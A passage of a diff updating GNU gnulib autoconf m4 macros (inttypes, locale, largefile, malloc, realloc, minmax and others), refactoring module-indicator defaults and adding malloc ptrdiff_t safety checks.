+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+ dnl From Derek Price, Bruno Haible.
+ dnl Test whether <inttypes.h> is supported or must be substituted.
+
+-AC_DEFUN([gl_INTTYPES_H],
++AC_DEFUN_ONCE([gl_INTTYPES_H],
+ [
+ AC_REQUIRE([gl_INTTYPES_INCOMPLETE])
+ gl_INTTYPES_PRI_SCN
+@@ -136,19 +136,34 @@ AC_DEFUN([gl_INTTYPES_CHECK_LONG_LONG_IN
+ AC_SUBST([$1])
+ ])
+
++# gl_INTTYPES_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_INTTYPES_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_INTTYPES_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_INTTYPES_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_INTTYPES_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_INTTYPES_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_IMAXABS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_IMAXDIV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOIMAX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOUMAX])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_INTTYPES_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_INTTYPES_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_INTTYPES_H_DEFAULTS],
+ [
+- GNULIB_IMAXABS=0; AC_SUBST([GNULIB_IMAXABS])
+- GNULIB_IMAXDIV=0; AC_SUBST([GNULIB_IMAXDIV])
+- GNULIB_STRTOIMAX=0; AC_SUBST([GNULIB_STRTOIMAX])
+- GNULIB_STRTOUMAX=0; AC_SUBST([GNULIB_STRTOUMAX])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_DECL_IMAXABS=1; AC_SUBST([HAVE_DECL_IMAXABS])
+ HAVE_DECL_IMAXDIV=1; AC_SUBST([HAVE_DECL_IMAXDIV])
+--- a/gnulib/m4/iswdigit.m4
++++ b/gnulib/m4/iswdigit.m4
+@@ -1,4 +1,4 @@
+-# iswdigit.m4 serial 2
++# iswdigit.m4 serial 3
+ dnl Copyright (C) 2020-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -81,12 +81,12 @@ main (int argc, char *argv[])
+ }
+ if (setlocale (LC_ALL, "$LOCALE_FR_UTF8") != NULL)
+ {
+- /* This fails on FreeBSD 12, NetBSD 8.0, MSVC 14. */
++ /* This fails on FreeBSD 13.0, NetBSD 8.0, MSVC 14. */
+ /* U+0663 ARABIC-INDIC DIGIT THREE */
+ is = for_character ("\331\243", 2);
+ if (!(is == 0))
+ result |= 4;
+- /* This fails on FreeBSD 12, NetBSD 8.0, MSVC 14. */
++ /* This fails on FreeBSD 13.0, NetBSD 8.0, MSVC 14. */
+ /* U+FF11 FULLWIDTH DIGIT ONE */
+ is = for_character ("\357\274\221", 3);
+ if (!(is == 0))
+--- a/gnulib/m4/iswxdigit.m4
++++ b/gnulib/m4/iswxdigit.m4
+@@ -1,4 +1,4 @@
+-# iswxdigit.m4 serial 2
++# iswxdigit.m4 serial 3
+ dnl Copyright (C) 2020-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -72,7 +72,7 @@ main (int argc, char *argv[])
+ }
+ if (setlocale (LC_ALL, "$LOCALE_FR_UTF8") != NULL)
+ {
+- /* This fails on FreeBSD 12. */
++ /* This fails on FreeBSD 13.0. */
+ /* U+0663 ARABIC-INDIC DIGIT THREE */
+ is = for_character ("\331\243", 2);
+ if (!(is == 0))
+--- a/gnulib/m4/langinfo_h.m4
++++ b/gnulib/m4/langinfo_h.m4
+@@ -1,10 +1,10 @@
+-# langinfo_h.m4 serial 9
++# langinfo_h.m4 serial 12
+ dnl Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+-AC_DEFUN([gl_LANGINFO_H],
++AC_DEFUN_ONCE([gl_LANGINFO_H],
+ [
+ AC_REQUIRE([gl_LANGINFO_H_DEFAULTS])
+
+@@ -104,18 +104,33 @@ int a = YESEXPR;
+ ]], [nl_langinfo])
+ ])
+
++# gl_LANGINFO_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_LANGINFO_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_LANGINFO_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_LANGINFO_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_LANGINFO_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_LANGINFO_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_NL_LANGINFO])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_LANGINFO_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_LANGINFO_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_LANGINFO_H_DEFAULTS],
+ [
+- GNULIB_NL_LANGINFO=0; AC_SUBST([GNULIB_NL_LANGINFO])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_NL_LANGINFO=1; AC_SUBST([HAVE_NL_LANGINFO])
+ REPLACE_NL_LANGINFO=0; AC_SUBST([REPLACE_NL_LANGINFO])
+--- a/gnulib/m4/largefile.m4
++++ b/gnulib/m4/largefile.m4
+@@ -22,7 +22,8 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ esac
+ ])
+
+-# The following implementation works around a problem in autoconf <= 2.69;
++# Work around a problem in Autoconf through at least 2.71 on glibc 2.34+
++# with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+ m4_version_prereq([2.70], [], [
+@@ -40,6 +41,7 @@ m4_define([_AC_SYS_LARGEFILE_TEST_INCLUD
+ && LARGE_OFF_T % 2147483647 == 1)
+ ? 1 : -1]];[]dnl
+ ])
++])# m4_version_prereq 2.70
+
+
+ # _AC_SYS_LARGEFILE_MACRO_VALUE(C-MACRO, VALUE,
+@@ -54,7 +56,8 @@ m4_define([_AC_SYS_LARGEFILE_MACRO_VALUE
+ [AC_LANG_PROGRAM([$5], [$6])],
+ [$3=no; break])
+ m4_ifval([$6], [AC_LINK_IFELSE], [AC_COMPILE_IFELSE])(
+- [AC_LANG_PROGRAM([#define $1 $2
++ [AC_LANG_PROGRAM([#undef $1
++#define $1 $2
+ $5], [$6])],
+ [$3=$2; break])
+ $3=unknown
+@@ -80,9 +83,8 @@ rm -rf conftest*[]dnl
+ AC_DEFUN([AC_SYS_LARGEFILE],
+ [AC_ARG_ENABLE(largefile,
+ [ --disable-largefile omit support for large files])
+-if test "$enable_largefile" != no; then
+-
+- AC_CACHE_CHECK([for special C compiler options needed for large files],
++AS_IF([test "$enable_largefile" != no],
++ [AC_CACHE_CHECK([for special C compiler options needed for large files],
+ ac_cv_sys_largefile_CC,
+ [ac_cv_sys_largefile_CC=no
+ if test "$GCC" != yes; then
+@@ -107,15 +109,15 @@ if test "$enable_largefile" != no; then
+ ac_cv_sys_file_offset_bits,
+ [Number of bits in a file offset, on hosts where this is settable.],
+ [_AC_SYS_LARGEFILE_TEST_INCLUDES])
+- if test $ac_cv_sys_file_offset_bits = unknown; then
+- _AC_SYS_LARGEFILE_MACRO_VALUE(_LARGE_FILES, 1,
+- ac_cv_sys_large_files,
+- [Define for large files, on AIX-style hosts.],
+- [_AC_SYS_LARGEFILE_TEST_INCLUDES])
+- fi
+-fi
++ AS_CASE([$ac_cv_sys_file_offset_bits],
++ [unknown],
++ [_AC_SYS_LARGEFILE_MACRO_VALUE([_LARGE_FILES], [1],
++ [ac_cv_sys_large_files],
++ [Define for large files, on AIX-style hosts.],
++ [_AC_SYS_LARGEFILE_TEST_INCLUDES])],
++ [64],
++ [gl_YEAR2038_BODY([])])])
+ ])# AC_SYS_LARGEFILE
+-])# m4_version_prereq 2.70
+
+ # Enable large files on systems where this is implemented by Gnulib, not by the
+ # system headers.
+--- a/gnulib/m4/locale_h.m4
++++ b/gnulib/m4/locale_h.m4
+@@ -1,13 +1,13 @@
+-# locale_h.m4 serial 25
++# locale_h.m4 serial 28
+ dnl Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+-AC_DEFUN([gl_LOCALE_H],
++AC_DEFUN_ONCE([gl_LOCALE_H],
+ [
+- dnl Use AC_REQUIRE here, so that the default behavior below is expanded
+- dnl once only, before all statements that occur in other macros.
++ dnl Ensure to expand the default settings once only, before all statements
++ dnl that occur in other macros.
+ AC_REQUIRE([gl_LOCALE_H_DEFAULTS])
+
+ dnl Persuade glibc <locale.h> to define locale_t and the int_p_*, int_n_*
+@@ -129,22 +129,37 @@ AC_DEFUN([gl_LOCALE_T],
+ AC_SUBST([HAVE_XLOCALE_H])
+ ])
+
++# gl_LOCALE_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_LOCALE_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_LOCALE_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_LOCALE_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_LOCALE_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_LOCALE_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LOCALECONV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETLOCALE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETLOCALE_NULL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUPLOCALE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LOCALENAME])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_LOCALE_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_LOCALE_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_LOCALE_H_DEFAULTS],
+ [
+- GNULIB_LOCALECONV=0; AC_SUBST([GNULIB_LOCALECONV])
+- GNULIB_SETLOCALE=0; AC_SUBST([GNULIB_SETLOCALE])
+- GNULIB_SETLOCALE_NULL=0; AC_SUBST([GNULIB_SETLOCALE_NULL])
+- GNULIB_DUPLOCALE=0; AC_SUBST([GNULIB_DUPLOCALE])
+- GNULIB_LOCALENAME=0; AC_SUBST([GNULIB_LOCALENAME])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_NEWLOCALE=1; AC_SUBST([HAVE_NEWLOCALE])
+ HAVE_DUPLOCALE=1; AC_SUBST([HAVE_DUPLOCALE])
+--- a/gnulib/m4/malloc.m4
++++ b/gnulib/m4/malloc.m4
+@@ -1,21 +1,21 @@
+-# malloc.m4 serial 22
++# malloc.m4 serial 27
+ dnl Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+ # This is adapted with modifications from upstream Autoconf here:
+-# https://git.savannah.gnu.org/cgit/autoconf.git/commit/?id=04be2b7a29d65d9a08e64e8e56e594c91749598c
++# https://git.savannah.gnu.org/cgit/autoconf.git/tree/lib/autoconf/functions.m4?id=v2.70#n949
+ AC_DEFUN([_AC_FUNC_MALLOC_IF],
+ [
+ AC_REQUIRE([AC_CANONICAL_HOST])dnl for cross-compiles
+- AC_CACHE_CHECK([for GNU libc compatible malloc],
++ AC_CACHE_CHECK([whether malloc (0) returns nonnull],
+ [ac_cv_func_malloc_0_nonnull],
+ [AC_RUN_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[#include <stdlib.h>
+ ]],
+- [[char *p = malloc (0);
++ [[void *p = malloc (0);
+ int result = !p;
+ free (p);
+ return result;]])
+@@ -24,75 +24,151 @@ AC_DEFUN([_AC_FUNC_MALLOC_IF],
+ [ac_cv_func_malloc_0_nonnull=no],
+ [case "$host_os" in
+ # Guess yes on platforms where we know the result.
+- *-gnu* | gnu* | *-musl* | freebsd* | midnightbsd* | netbsd* | openbsd* \
+- | hpux* | solaris* | cygwin* | mingw*)
++ *-gnu* | freebsd* | netbsd* | openbsd* | bitrig* \
++ | gnu* | *-musl* | midnightbsd* \
++ | hpux* | solaris* | cygwin* | mingw* | msys* )
+ ac_cv_func_malloc_0_nonnull="guessing yes" ;;
+ # If we don't know, obey --enable-cross-guesses.
+ *) ac_cv_func_malloc_0_nonnull="$gl_cross_guess_normal" ;;
+ esac
+ ])
+ ])
+- case "$ac_cv_func_malloc_0_nonnull" in
+- *yes)
+- $1
+- ;;
+- *)
+- $2
+- ;;
+- esac
++ AS_CASE([$ac_cv_func_malloc_0_nonnull], [*yes], [$1], [$2])
+ ])# _AC_FUNC_MALLOC_IF
+
+ # gl_FUNC_MALLOC_GNU
+ # ------------------
+-# Test whether 'malloc (0)' is handled like in GNU libc, and replace malloc if
+-# it is not.
++# Replace malloc if it is not compatible with GNU libc.
+ AC_DEFUN([gl_FUNC_MALLOC_GNU],
+ [
+ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
+- dnl _AC_FUNC_MALLOC_IF is defined in Autoconf.
+- _AC_FUNC_MALLOC_IF(
+- [AC_DEFINE([HAVE_MALLOC_GNU], [1],
+- [Define to 1 if your system has a GNU libc compatible 'malloc'
+- function, and to 0 otherwise.])],
+- [AC_DEFINE([HAVE_MALLOC_GNU], [0])
+- REPLACE_MALLOC=1
++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX])
++ if test $REPLACE_MALLOC = 0; then
++ _AC_FUNC_MALLOC_IF([], [REPLACE_MALLOC=1])
++ fi
++])
++
++# gl_FUNC_MALLOC_PTRDIFF
++# ----------------------
++# Test whether malloc (N) reliably fails when N exceeds PTRDIFF_MAX,
++# and replace malloc otherwise.
++AC_DEFUN([gl_FUNC_MALLOC_PTRDIFF],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_CHECK_MALLOC_PTRDIFF])
++ test "$gl_cv_malloc_ptrdiff" = yes || REPLACE_MALLOC=1
++])
++
++# Test whether malloc, realloc, calloc refuse to create objects
++# larger than what can be expressed in ptrdiff_t.
++# Set gl_cv_func_malloc_gnu to yes or no accordingly.
++AC_DEFUN([gl_CHECK_MALLOC_PTRDIFF],
++[
++ AC_CACHE_CHECK([whether malloc is ptrdiff_t safe],
++ [gl_cv_malloc_ptrdiff],
++ [AC_COMPILE_IFELSE(
++ [AC_LANG_PROGRAM(
++ [[#include <stdint.h>
++ ]],
++ [[/* 64-bit ptrdiff_t is so wide that no practical platform
++ can exceed it. */
++ #define WIDE_PTRDIFF (PTRDIFF_MAX >> 31 >> 31 != 0)
++
++ /* On rare machines where size_t fits in ptrdiff_t there
++ is no problem. */
++ #define NARROW_SIZE (SIZE_MAX <= PTRDIFF_MAX)
++
++ /* glibc 2.30 and later malloc refuses to exceed ptrdiff_t
++ bounds even on 32-bit platforms. We don't know which
++ non-glibc systems are safe. */
++ #define KNOWN_SAFE (2 < __GLIBC__ + (30 <= __GLIBC_MINOR__))
++
++ #if WIDE_PTRDIFF || NARROW_SIZE || KNOWN_SAFE
++ return 0;
++ #else
++ #error "malloc might not be ptrdiff_t safe"
++ syntax error
++ #endif
++ ]])],
++ [gl_cv_malloc_ptrdiff=yes],
++ [gl_cv_malloc_ptrdiff=no])
+ ])
+ ])
+
+ # gl_FUNC_MALLOC_POSIX
+ # --------------------
+ # Test whether 'malloc' is POSIX compliant (sets errno to ENOMEM when it
+-# fails), and replace malloc if it is not.
++# fails, and doesn't mess up with ptrdiff_t overflow), and replace
++# malloc if it is not.
+ AC_DEFUN([gl_FUNC_MALLOC_POSIX],
+ [
+ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_FUNC_MALLOC_PTRDIFF])
+ AC_REQUIRE([gl_CHECK_MALLOC_POSIX])
+- if test $gl_cv_func_malloc_posix = yes; then
++ if test "$gl_cv_func_malloc_posix" = yes; then
+ AC_DEFINE([HAVE_MALLOC_POSIX], [1],
+- [Define if the 'malloc' function is POSIX compliant.])
++ [Define if malloc, realloc, and calloc set errno on allocation failure.])
+ else
+ REPLACE_MALLOC=1
+ fi
+ ])
+
+-# Test whether malloc, realloc, calloc are POSIX compliant,
++# Test whether malloc, realloc, calloc set errno to ENOMEM on failure.
+ # Set gl_cv_func_malloc_posix to yes or no accordingly.
+ AC_DEFUN([gl_CHECK_MALLOC_POSIX],
+ [
+- AC_CACHE_CHECK([whether malloc, realloc, calloc are POSIX compliant],
++ AC_REQUIRE([AC_CANONICAL_HOST])
++ AC_CACHE_CHECK([whether malloc, realloc, calloc set errno on failure],
+ [gl_cv_func_malloc_posix],
+ [
+ dnl It is too dangerous to try to allocate a large amount of memory:
+ dnl some systems go to their knees when you do that. So assume that
+- dnl all Unix implementations of the function are POSIX compliant.
+- AC_COMPILE_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[]],
+- [[#if defined _WIN32 && ! defined __CYGWIN__
+- choke me
+- #endif
+- ]])],
+- [gl_cv_func_malloc_posix=yes],
+- [gl_cv_func_malloc_posix=no])
++ dnl all Unix implementations of the function set errno on failure,
++ dnl except on those platforms where we have seen 'test-malloc-gnu',
++ dnl 'test-realloc-gnu', 'test-calloc-gnu' fail.
++ case "$host_os" in
++ mingw*)
++ gl_cv_func_malloc_posix=no ;;
++ irix* | solaris*)
++ dnl On IRIX 6.5, the three functions return NULL with errno unset
++ dnl when the argument is larger than PTRDIFF_MAX.
++ dnl On Solaris 11.3, the three functions return NULL with errno set
++ dnl to EAGAIN, not ENOMEM, when the argument is larger than
++ dnl PTRDIFF_MAX.
++ dnl Here is a test program:
++m4_divert_push([KILL])
++#include <errno.h>
++#include <stdio.h>
++#include <stdlib.h>
++#define ptrdiff_t long
++#ifndef PTRDIFF_MAX
++# define PTRDIFF_MAX ((ptrdiff_t) ((1UL << (8 * sizeof (ptrdiff_t) - 1)) - 1))
++#endif
++
++int main ()
++{
++ void *p;
++
++ fprintf (stderr, "PTRDIFF_MAX = %lu\n", (unsigned long) PTRDIFF_MAX);
++
++ errno = 0;
++ p = malloc ((unsigned long) PTRDIFF_MAX + 1);
++ fprintf (stderr, "p=%p errno=%d\n", p, errno);
++
++ errno = 0;
++ p = calloc (PTRDIFF_MAX / 2 + 1, 2);
++ fprintf (stderr, "p=%p errno=%d\n", p, errno);
++
++ errno = 0;
++ p = realloc (NULL, (unsigned long) PTRDIFF_MAX + 1);
++ fprintf (stderr, "p=%p errno=%d\n", p, errno);
++
++ return 0;
++}
++m4_divert_pop([KILL])
++ gl_cv_func_malloc_posix=no ;;
++ *)
++ gl_cv_func_malloc_posix=yes ;;
++ esac
+ ])
+ ])
+--- a/gnulib/m4/mbslen.m4
++++ b/gnulib/m4/mbslen.m4
+@@ -1,4 +1,4 @@
+-# mbslen.m4 serial 2
++# mbslen.m4 serial 3
+ dnl Copyright (C) 2010-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,7 +6,7 @@ dnl with or without modifications, as lo
+
+ AC_DEFUN([gl_FUNC_MBSLEN],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_FUNCS_ONCE([mbslen])
+ if test $ac_cv_func_mbslen = yes; then
+ HAVE_MBSLEN=1
+--- a/gnulib/m4/memchr.m4
++++ b/gnulib/m4/memchr.m4
+@@ -1,4 +1,4 @@
+-# memchr.m4 serial 17
++# memchr.m4 serial 18
+ dnl Copyright (C) 2002-2004, 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -13,7 +13,7 @@ AC_DEFUN_ONCE([gl_FUNC_MEMCHR],
+ AC_CHECK_HEADERS_ONCE([sys/mman.h])
+ AC_CHECK_FUNCS_ONCE([mprotect])
+
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ # Detect platform-specific bugs in some versions of glibc:
+ # memchr should not dereference anything with length 0
+ # https://bugzilla.redhat.com/show_bug.cgi?id=499689
+--- a/gnulib/m4/mempcpy.m4
++++ b/gnulib/m4/mempcpy.m4
+@@ -1,4 +1,4 @@
+-# mempcpy.m4 serial 11
++# mempcpy.m4 serial 12
+ dnl Copyright (C) 2003-2004, 2006-2007, 2009-2021 Free Software Foundation,
+ dnl Inc.
+ dnl This file is free software; the Free Software Foundation
+@@ -13,7 +13,7 @@ AC_DEFUN([gl_FUNC_MEMPCPY],
+ dnl The mempcpy() declaration in lib/string.in.h uses 'restrict'.
+ AC_REQUIRE([AC_C_RESTRICT])
+
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_FUNCS([mempcpy])
+ if test $ac_cv_func_mempcpy = no; then
+ HAVE_MEMPCPY=0
+--- a/gnulib/m4/memrchr.m4
++++ b/gnulib/m4/memrchr.m4
+@@ -1,4 +1,4 @@
+-# memrchr.m4 serial 10
++# memrchr.m4 serial 11
+ dnl Copyright (C) 2002-2003, 2005-2007, 2009-2021 Free Software Foundation,
+ dnl Inc.
+ dnl This file is free software; the Free Software Foundation
+@@ -10,7 +10,7 @@ AC_DEFUN([gl_FUNC_MEMRCHR],
+ dnl Persuade glibc <string.h> to declare memrchr().
+ AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS])
+
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_DECLS_ONCE([memrchr])
+ if test $ac_cv_have_decl_memrchr = no; then
+ HAVE_DECL_MEMRCHR=0
+--- /dev/null
++++ b/gnulib/m4/minmax.m4
+@@ -0,0 +1,44 @@
++# minmax.m4 serial 4
++dnl Copyright (C) 2005, 2009-2021 Free Software Foundation, Inc.
++dnl This file is free software; the Free Software Foundation
++dnl gives unlimited permission to copy and/or distribute it,
++dnl with or without modifications, as long as this notice is preserved.
++
++AC_PREREQ([2.53])
++
++AC_DEFUN([gl_MINMAX],
++[
++ AC_REQUIRE([gl_PREREQ_MINMAX])
++])
++
++# Prerequisites of lib/minmax.h.
++AC_DEFUN([gl_PREREQ_MINMAX],
++[
++ gl_MINMAX_IN_HEADER([limits.h])
++ gl_MINMAX_IN_HEADER([sys/param.h])
++])
++
++dnl gl_MINMAX_IN_HEADER(HEADER)
++dnl The parameter has to be a literal header name; it cannot be macro,
++dnl nor a shell variable. (Because autoheader collects only AC_DEFINE
++dnl invocations with a literal macro name.)
++AC_DEFUN([gl_MINMAX_IN_HEADER],
++[
++ m4_pushdef([header], AS_TR_SH([$1]))
++ m4_pushdef([HEADER], AS_TR_CPP([$1]))
++ AC_CACHE_CHECK([whether <$1> defines MIN and MAX],
++ [gl_cv_minmax_in_]header,
++ [AC_COMPILE_IFELSE(
++ [AC_LANG_PROGRAM(
++ [[#include <$1>
++ int x = MIN (42, 17);]],
++ [[]])],
++ [gl_cv_minmax_in_]header[=yes],
++ [gl_cv_minmax_in_]header[=no])])
++ if test $gl_cv_minmax_in_[]header = yes; then
++ AC_DEFINE([HAVE_MINMAX_IN_]HEADER, 1,
++ [Define to 1 if <$1> defines the MIN and MAX macros.])
++ fi
++ m4_popdef([HEADER])
++ m4_popdef([header])
++])
+--- a/gnulib/m4/printf.m4
++++ b/gnulib/m4/printf.m4
+@@ -1,4 +1,4 @@
+-# printf.m4 serial 72
++# printf.m4 serial 73
+ dnl Copyright (C) 2003, 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -537,7 +537,7 @@ int main ()
+ && strcmp (buf, "-0X6.488P-1 33") != 0
+ && strcmp (buf, "-0XC.91P-2 33") != 0))
+ result |= 2;
+- /* This catches a FreeBSD 6.1 bug: it doesn't round. */
++ /* This catches a FreeBSD 13.0 bug: it doesn't round. */
+ if (sprintf (buf, "%.2a %d", 1.51, 33, 44, 55) < 0
+ || (strcmp (buf, "0x1.83p+0 33") != 0
+ && strcmp (buf, "0x3.05p-1 33") != 0
+@@ -1690,6 +1690,7 @@ dnl
+ dnl 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
+ dnl glibc 2.5 . . . . . . . . . . . . . . . . . . . .
+ dnl glibc 2.3.6 . . . . # . . . . . . . . . . . . . . .
++dnl FreeBSD 13.0 . . . . # . . . . . . . . # . . . . . .
+ dnl FreeBSD 5.4, 6.1 . . . . # . . . . . . # . # . . . . . .
+ dnl Mac OS X 10.13.5 . . . # # . # . . . . . . . . . . # . .
+ dnl Mac OS X 10.5.8 . . . # # . . . . . . # . . . . . . . .
+--- /dev/null
++++ b/gnulib/m4/realloc.m4
+@@ -0,0 +1,63 @@
++# realloc.m4 serial 24
++dnl Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc.
++dnl This file is free software; the Free Software Foundation
++dnl gives unlimited permission to copy and/or distribute it,
++dnl with or without modifications, as long as this notice is preserved.
++
++# This is adapted with modifications from upstream Autoconf here:
++# https://git.savannah.gnu.org/cgit/autoconf.git/tree/lib/autoconf/functions.m4?id=v2.70#n1455
++AC_DEFUN([_AC_FUNC_REALLOC_IF],
++[
++ AC_REQUIRE([AC_CANONICAL_HOST])dnl for cross-compiles
++ AC_CACHE_CHECK([whether realloc (0, 0) returns nonnull],
++ [ac_cv_func_realloc_0_nonnull],
++ [AC_RUN_IFELSE(
++ [AC_LANG_PROGRAM(
++ [[#include <stdlib.h>
++ ]],
++ [[void *p = realloc (0, 0);
++ int result = !p;
++ free (p);
++ return result;]])
++ ],
++ [ac_cv_func_realloc_0_nonnull=yes],
++ [ac_cv_func_realloc_0_nonnull=no],
++ [case "$host_os" in
++ # Guess yes on platforms where we know the result.
++ *-gnu* | freebsd* | netbsd* | openbsd* | bitrig* \
++ | gnu* | *-musl* | midnightbsd* \
++ | hpux* | solaris* | cygwin* | mingw* | msys* )
++ ac_cv_func_realloc_0_nonnull="guessing yes" ;;
++ # If we don't know, obey --enable-cross-guesses.
++ *) ac_cv_func_realloc_0_nonnull="$gl_cross_guess_normal" ;;
++ esac
++ ])
++ ])
++ AS_CASE([$ac_cv_func_realloc_0_nonnull], [*yes], [$1], [$2])
++])# AC_FUNC_REALLOC
++
++# gl_FUNC_REALLOC_GNU
++# -------------------
++# Replace realloc if it is not compatible with GNU libc.
++AC_DEFUN([gl_FUNC_REALLOC_GNU],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_FUNC_REALLOC_POSIX])
++ if test $REPLACE_REALLOC = 0; then
++ _AC_FUNC_REALLOC_IF([], [REPLACE_REALLOC=1])
++ fi
++])# gl_FUNC_REALLOC_GNU
++
++# gl_FUNC_REALLOC_POSIX
++# ---------------------
++# Test whether 'realloc' is POSIX compliant (sets errno to ENOMEM when it
++# fails, and doesn't mess up with ptrdiff_t overflow),
++# and replace realloc if it is not.
++AC_DEFUN([gl_FUNC_REALLOC_POSIX],
++[
